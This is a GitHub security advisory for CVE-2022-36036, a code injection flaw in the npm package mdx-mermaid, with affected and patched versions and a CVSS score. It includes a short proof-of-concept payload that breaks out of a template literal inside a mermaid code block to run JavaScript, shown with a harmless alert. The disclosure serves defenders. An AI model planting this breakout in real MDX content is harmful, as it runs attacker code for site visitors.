Improper Control of Generation of Code ('Code Injection') in mdx-mermaid

Low **sjwall** published **GHSA-rvgm-35jw-q628** on Aug 22

Package

mdx-mermaid (npm)

Affected versions	Patched versions
0.0.1, 1.0.0, 1.1.0, 1.1.1, 1.2.0, 1.2.1, 1.2.2, 1.2.3, 2.0.0-rc1	1.3.0, 2.0.0-rc2

Description

Impact

Arbitary javascript injection

Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs

````
` + (function () {
  // Put Javascript code here
  return ''
}()) + `
````

The block below shows a valid mermaid code block

~~~
```mermaid
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```
~~~

The same block but with the exploit added

~~~
```mermaid
` + (function () {
  alert('vulnerable')
  return ''
}()) + `
graph TD;
    A-->B;
    A-->C;
    B-->D;
    C-->D;
```
~~~

Patches

1.3.0 and 2.0.0-rc2

Workarounds

None known

References

None

For more information

N/A

Severity

Low 3.6 / 10

CVSS base metrics

Attack vector	**Local**
Attack complexity	**High**
Privileges required	**Low**
User interaction	**None**
Scope	**Unchanged**
Confidentiality	**Low**
Integrity	**Low**
Availability	**None**

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

CVE ID

CVE-2022-36036

Weaknesses

CWE-94

Credits

sjwall